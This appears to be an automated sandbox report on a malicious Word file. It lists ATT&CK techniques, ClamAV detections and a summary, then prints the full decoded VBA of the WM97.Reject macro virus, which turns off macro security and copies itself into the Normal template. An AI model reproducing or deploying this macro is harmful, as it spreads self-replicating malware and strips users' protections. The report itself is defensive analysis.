MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains VBA macros that attempt to disable Word's macro security settings and copy themselves to the Normal template, likely to establish persistence. The embedded script also contains comments referencing 'Reject' and 'Psyclone X', suggesting a known malware family, though direct IOCs for this are absent. The document body content is unrelated to the macro's malicious functionality.
Heuristics 2
-
ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Psycho-3
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1894 bytes |
SHA-256: 133c4e20f16ea55e1986009ef0905428ffa1674a0f2afb2b34bec915e7da8ea5 |
|||
|
Detection
ClamAV:
Doc.Trojan.Reject-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Options.ConfirmConversions = 0
Options.SaveNormalPrompt = 0
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = 0
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = 0
Options.VirusProtection = 0
End If
Set norm = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set doc = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set bug = New DataObject
If norm.lines(Chr(50) + Chr(54), Chr(49)) <> "'AreUHere" Then
With norm: .DeleteLines Chr(49), .CountOfLines: End With
bug.SetText doc.lines(Chr(49), doc.CountOfLines): norm.InsertLines Chr(49), bug.GetText(1)
ElseIf doc.lines(Chr(50) + Chr(54), Chr(49)) <> "'AreUHere" Then
With doc: .DeleteLines Chr(49), .CountOfLines: End With
bug.SetText norm.lines(Chr(49), norm.CountOfLines): doc.InsertLines Chr(49), bug.GetText(1)
End If
'WM97.Reject
'For Educational Purposes Only
'[Psyclone X /DVC]
End Sub
'AreUHere
Private Sub Document_New()
On Error Resume Next
Set norm = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set doc = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set bug = New DataObject
If doc.lines(Chr(50) + Chr(54), Chr(49)) <> "'AreUHere" Then
With doc: .DeleteLines Chr(49), .CountOfLines: End With
bug.SetText norm.lines(Chr(49), norm.CountOfLines): doc.InsertLines Chr(49), bug.GetText(1)
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.